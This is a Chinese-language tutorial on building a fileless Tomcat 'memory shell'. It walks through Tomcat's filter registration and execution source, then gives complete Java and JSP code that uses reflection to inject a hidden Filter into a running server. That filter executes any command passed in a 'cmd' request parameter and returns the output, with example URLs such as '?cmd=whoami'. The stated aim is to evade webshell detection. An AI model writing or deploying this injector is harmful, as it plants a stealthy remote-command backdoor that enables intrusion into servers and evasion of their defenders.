手把手教你實現tomcat內存馬
為什么要使用內存馬
有哪些類型的內存馬
如何編寫內存馬
為什么要使用內存馬
傳統(tǒng)的webshell或以文件駐留的后門越來越容易被檢測。
文件不落地,檢測困難
有哪些類型的內存馬
根據不容的容器都有自己對應的內存馬
tomcat
weblogic
等
Filter是如何被創(chuàng)建的
Filter是如何被執(zhí)行的
Filter是如何被銷毀的(內存馬暫時用不到)
Tomcat啟動流程
從web.xml文件讀取配置信息
流程
1.從webxml讀取配置
2.將FilterDef加入context
ContextConfig#configureContext????????for?(FilterDef?filter?:?webxml.getFilters().values())?{
????????????if?(filter.getAsyncSupported()?==?null)?{
????????????????filter.setAsyncSupported("false");
????????????}
????????????context.addFilterDef(filter);
????????}
1.如果filterDef == null我們需要設置三個東西
?filterDef.setFilterName(filterName);filterDef.setFilterClass(filter.getClass().getName());filterDef.setFilter(filter);
ApplicationContext
??FilterDef?filterDef?=?context.findFilterDef(filterName);
????????//?Assume?a?'complete'?FilterRegistration?is?one?that?has?a?class?and
????????//?a?name
????????if?(filterDef?==?null)?{
????????????filterDef?=?new?FilterDef();
????????????filterDef.setFilterName(filterName);
????????????context.addFilterDef(filterDef);
????????}?else?{
????????????if?(filterDef.getFilterName()?!=?null?&&
????????????????????filterDef.getFilterClass()?!=?null)?{
????????????????return?null;
????????????}
????????}
????????if?(filter?==?null)?{
????????????filterDef.setFilterClass(filterClass);
????????}?else?{
????????????filterDef.setFilterClass(filter.getClass().getName());
????????????filterDef.setFilter(filter);
????????}
ContextConfig#configureContextfor?(FilterMap?filterMap?:?webxml.getFilterMappings())?{
????????????context.addFilterMap(filterMap);
????????}ContextConfig#processAnnotationWebFilter??FilterMap?filterMap?=?new?FilterMap();


總結
1.從web.xml中讀取到tomcat filter配置信息
2.將過濾器類和name對應起來(FilterDef)
3.將URLPattern和name對應起來(FilterMap)
4.將FilterDef和FilterMap加入context
Tomcat Filter初始化流程

StandardContext#filterStart
ApplicationFilterConfig?filterConfig?=?new?ApplicationFilterConfig(this,?entry.getValue());
filterConfigs.put(name,?filterConfig);
public?boolean?filterStart()?{
????????if?(getLogger().isDebugEnabled())?{
????????????getLogger().debug("Starting?filters");
????????}
????????//?Instantiate?and?record?a?FilterConfig?for?each?defined?filter
????????boolean?ok?=?true;
????????synchronized?(filterConfigs)?{
????????????filterConfigs.clear();
????????????for?(Entry?entry?:?filterDefs.entrySet())?{
????????????????String?name?=?entry.getKey();
????????????????if?(getLogger().isDebugEnabled())?{
????????????????????getLogger().debug("?Starting?filter?'"?+?name?+?"'");
????????????????}
????????????????try?{
????????????????????ApplicationFilterConfig?filterConfig?=
????????????????????????????new?ApplicationFilterConfig(this,?entry.getValue());
????????????????????filterConfigs.put(name,?filterConfig);
????????????????}?catch?(Throwable?t)?{
????????????????????t?=?ExceptionUtils.unwrapInvocationTargetException(t);
????????????????????ExceptionUtils.handleThrowable(t);
????????????????????getLogger().error(sm.getString(
????????????????????????????"standardContext.filterStart",?name),?t);
????????????????????ok?=?false;
????????????????}
????????????}
????????}
????????return?ok;
????}
Tomcat Filter執(zhí)行流程
通過分析Filter執(zhí)行,可以知道一個Filter需要哪些基本的數據
@WebFilter(filterName?=?"testFilter",urlPatterns?=?"/*")
public?class?MyFilterDemo1?implements?Filter?{
????@Override
????public?void?init(FilterConfig?filterConfig)?throws?ServletException?{
????????System.out.println("filter?init");
????}
????@Override
????public?void?doFilter(ServletRequest?servletRequest,?ServletResponse?servletResponse,?FilterChain?filterChain)?throws?IOException,?ServletException?{
????????System.out.println("do?Filter");
????????filterChain.doFilter(servletRequest,?servletResponse);
????}
????@Override
????public?void?destroy()?{
????}
}

分析internalDoFilter

filter是一個數組
利用下標進行遍歷和匹配規(guī)則
通過
Filter數組或者說通過FilterChain找到第一個關鍵數據ApplicationFilterConfig問題 ?:
FilterChain是如何創(chuàng)建的?
創(chuàng)建一個FilterChain
?ApplicationFilterChain?filterChain?=?ApplicationFilterFactory.createFilterChain(request,?wrapper,?servlet);

創(chuàng)建過濾鏈:createFilterChain
public?static?ApplicationFilterChain?createFilterChain(ServletRequest?request,
????????????Wrapper?wrapper,?Servlet?servlet)?{
????????//?If?there?is?no?servlet?to?execute,?return?null
????????if?(servlet?==?null)
????????????return?null;
????????//?Create?and?initialize?a?filter?chain?object
????????ApplicationFilterChain?filterChain?=?null;
????????if?(request?instanceof?Request)?{
????????????Request?req?=?(Request)?request;
????????????if?(Globals.IS_SECURITY_ENABLED)?{
????????????????//?Security:?Do?not?recycle
????????????????filterChain?=?new?ApplicationFilterChain();
????????????}?else?{
????????????????filterChain?=?(ApplicationFilterChain)?req.getFilterChain();
????????????????if?(filterChain?==?null)?{
????????????????????filterChain?=?new?ApplicationFilterChain();
????????????????????req.setFilterChain(filterChain);
????????????????}
????????????}
????????}?else?{
????????????//?Request?dispatcher?in?use
????????????filterChain?=?new?ApplicationFilterChain();
????????}
????????filterChain.setServlet(servlet);
????????filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
????????//?Acquire?the?filter?mappings?for?this?Context
?????//獲取此上下文的篩選器映射
????????StandardContext?context?=?(StandardContext)?wrapper.getParent();
????????FilterMap?filterMaps[]?=?context.findFilterMaps();
????????//?If?there?are?no?filter?mappings,?we?are?done
????????if?((filterMaps?==?null)?||?(filterMaps.length?==?0))
????????????return?(filterChain);
????????//?Acquire?the?information?we?will?need?to?match?filter?mappings
?????//獲取匹配過濾器映射所需的信息
????????DispatcherType?dispatcher?=
????????????????(DispatcherType)?request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);
????????String?requestPath?=?null;
????????Object?attribute?=?request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
????????if?(attribute?!=?null){
????????????requestPath?=?attribute.toString();
????????}
????????String?servletName?=?wrapper.getName();
????????//?Add?the?relevant?path-mapped?filters?to?this?filter?chain
?????//將相關路徑映射篩選器添加到此篩選器鏈
????????for?(int?i?=?0;?i?????????????if?(!matchDispatcher(filterMaps[i]?,dispatcher))?{
????????????????continue;
????????????}
????????????if?(!matchFiltersURL(filterMaps[i],?requestPath))
????????????????continue;
????????????ApplicationFilterConfig?filterConfig?=?(ApplicationFilterConfig)
????????????????context.findFilterConfig(filterMaps[i].getFilterName());
????????????if?(filterConfig?==?null)?{
????????????????//?FIXME?-?log?configuration?problem
????????????????continue;
????????????}
????????????filterChain.addFilter(filterConfig);
????????}
????????//?Add?filters?that?match?on?servlet?name?second
?????//添加與servlet名稱匹配的過濾器
????????for?(int?i?=?0;?i?????????????if?(!matchDispatcher(filterMaps[i]?,dispatcher))?{
????????????????continue;
????????????}
????????????if?(!matchFiltersServlet(filterMaps[i],?servletName))
????????????????continue;
????????????ApplicationFilterConfig?filterConfig?=?(ApplicationFilterConfig)
????????????????context.findFilterConfig(filterMaps[i].getFilterName());
????????????if?(filterConfig?==?null)?{
????????????????//?FIXME?-?log?configuration?problem
????????????????continue;
????????????}
????????????filterChain.addFilter(filterConfig);
????????}
????????//?Return?the?completed?filter?chain
????????return?filterChain;
????}
03Java代碼實現偽代碼
package?cn.jl.demo;
import?org.apache.catalina.Context;
import?org.apache.catalina.core.ApplicationFilterConfig;
import?org.apache.catalina.core.StandardContext;
import?org.apache.catalina.loader.WebappClassLoaderBase;
import?org.apache.tomcat.util.descriptor.web.FilterDef;
import?org.apache.tomcat.util.descriptor.web.FilterMap;
import?org.apache.tomcat.util.net.DispatchType;
import?javax.servlet.*;
import?javax.servlet.annotation.WebFilter;
import?java.io.IOException;
import?java.lang.reflect.Constructor;
import?java.lang.reflect.Field;
import?java.util.Map;
@WebFilter("/*")
public?class?MyFilterDemo?implements?Filter?{
????static?{
????????try{
????????????final?String?name?=?"jl";
????????????final?String?URLPath?=?"/*";
????????????WebappClassLoaderBase?webappClassLoaderBase?=?(WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();
????????????StandardContext?standardContext?=?(StandardContext)webappClassLoaderBase.getResources().getContext();
????????????MyFilterDemo?myFilterDemo?=?new?MyFilterDemo();
????????????FilterDef?filterDef?=?new?FilterDef();
????????????filterDef.setFilter(myFilterDemo);
????????????filterDef.setFilterName(name);
????????????standardContext.addFilterDef(filterDef);
????????}catch?(Exception?ex){
????????????ex.printStackTrace();
????????}
????}
????@Override
????public?void?init(FilterConfig?filterConfig)?throws?ServletException?{
????}
????@Override
????public?void?doFilter(ServletRequest?servletRequest,?ServletResponse?servletResponse,?FilterChain?filterChain)?throws?IOException,?ServletException?{
????????System.out.println("Do?Filter?......");
????????String?cmd;
????????if?((cmd?=?servletRequest.getParameter("cmd"))?!=?null)?{
????????????Process?process?=?Runtime.getRuntime().exec(cmd);
????????????java.io.BufferedReader?bufferedReader?=?new?java.io.BufferedReader(
????????????????????new?java.io.InputStreamReader(process.getInputStream()));
????????????StringBuilder?stringBuilder?=?new?StringBuilder();
????????????String?line;
????????????while?((line?=?bufferedReader.readLine())?!=?null)?{
????????????????stringBuilder.append(line?+?'\n');
????????????}
????????????servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
????????????servletResponse.getOutputStream().flush();
????????????servletResponse.getOutputStream().close();
????????????return;
????????}
????????filterChain.doFilter(servletRequest,?servletResponse);
????????System.out.println("doFilter");
????}
????@Override
????public?void?destroy()?{
????}
}
http://localhost:8080/xx.jsp?cmd=whoami

04JSP代碼分析
<%@?page?import="org.apache.catalina.core.ApplicationContext"?%>
<%@?page?import="java.lang.reflect.Field"?%>
<%@?page?import="org.apache.catalina.core.StandardContext"?%>
<%@?page?import="java.util.Map"?%>
<%@?page?import="java.io.IOException"?%>
<%@?page?import="org.apache.tomcat.util.descriptor.web.FilterDef"?%>
<%@?page?import="org.apache.tomcat.util.descriptor.web.FilterMap"?%>
<%@?page?import="java.lang.reflect.Constructor"?%>
<%@?page?import="org.apache.catalina.core.ApplicationFilterConfig"?%>
<%@?page?import="org.apache.catalina.Context"?%>
<%@?page?language="java"?contentType="text/html;?charset=UTF-8"?pageEncoding="UTF-8"?%>
<%
?//設置
????final?String?name?=?"jl";
?//獲取filterConfigs
????ServletContext?servletContext?=?request.getSession().getServletContext();
????Field?appctx?=?servletContext.getClass().getDeclaredField("context");
????appctx.setAccessible(true);
????ApplicationContext?applicationContext?=?(ApplicationContext)?appctx.get(servletContext);
????Field?stdctx?=?applicationContext.getClass().getDeclaredField("context");
????stdctx.setAccessible(true);
????StandardContext?standardContext?=?(StandardContext)?stdctx.get(applicationContext);
????Field?Configs?=?standardContext.getClass().getDeclaredField("filterConfigs");
????Configs.setAccessible(true);
????Map?filterConfigs?=?(Map)?Configs.get(standardContext);
????if?(filterConfigs.get(name)?==?null)?{
????????//這里實現filter
????????Filter?filter?=?new?Filter()?{
????????????@Override
????????????public?void?init(FilterConfig?filterConfig)?throws?ServletException?{
????????????}
????????????@Override
????????????public?void?doFilter(ServletRequest?servletRequest,?ServletResponse?servletResponse,?FilterChain?filterChain)?throws?IOException,?ServletException?{
????????????????System.out.println("Do?Filter?......");
????????????????String?cmd;
????????????????if?((cmd?=?servletRequest.getParameter("cmd"))?!=?null)?{
????????????????????Process?process?=?Runtime.getRuntime().exec(cmd);
????????????????????java.io.BufferedReader?bufferedReader?=?new?java.io.BufferedReader(
????????????????????????????new?java.io.InputStreamReader(process.getInputStream()));
????????????????????StringBuilder?stringBuilder?=?new?StringBuilder();
????????????????????String?line;
????????????????????while?((line?=?bufferedReader.readLine())?!=?null)?{
????????????????????????stringBuilder.append(line?+?'\n');
????????????????????}
????????????????????servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
????????????????????servletResponse.getOutputStream().flush();
????????????????????servletResponse.getOutputStream().close();
????????????????????return;
????????????????}
????????????????filterChain.doFilter(servletRequest,?servletResponse);
????????????????System.out.println("doFilter");
????????????}
????????????@Override
????????????public?void?destroy()?{
????????????}
????????};
????????//設置FilterDef
????????FilterDef?filterDef?=?new?FilterDef();
????????filterDef.setFilter(filter);
????????filterDef.setFilterName(name);
????????filterDef.setFilterClass(filter.getClass().getName());
????????
????????//設置FilterMap
????????FilterMap?filterMap?=?new?FilterMap();
????????filterMap.addURLPattern("/*");
????????filterMap.setFilterName(name);
????????filterMap.setDispatcher(DispatcherType.REQUEST.name());
????????
????????
????????standardContext.addFilterDef(filterDef);
????????standardContext.addFilterMapBefore(filterMap);
????????
????????//將FilterConfig加入FilterConfigs中
????????Constructor?constructor?=?ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,?FilterDef.class);
????????constructor.setAccessible(true);
????????ApplicationFilterConfig?filterConfig?=?(ApplicationFilterConfig)?constructor.newInstance(standardContext,?filterDef);
????????filterConfigs.put(name,?filterConfig);
????}
%>
http://localhost/filter.jsp
http://localhost/1.jsp?cmd=whoami
參考鏈接
https://xz.aliyun.com/t/10362#toc-6
https://xz.aliyun.com/t/10696
往期回顧
評論
圖片
表情

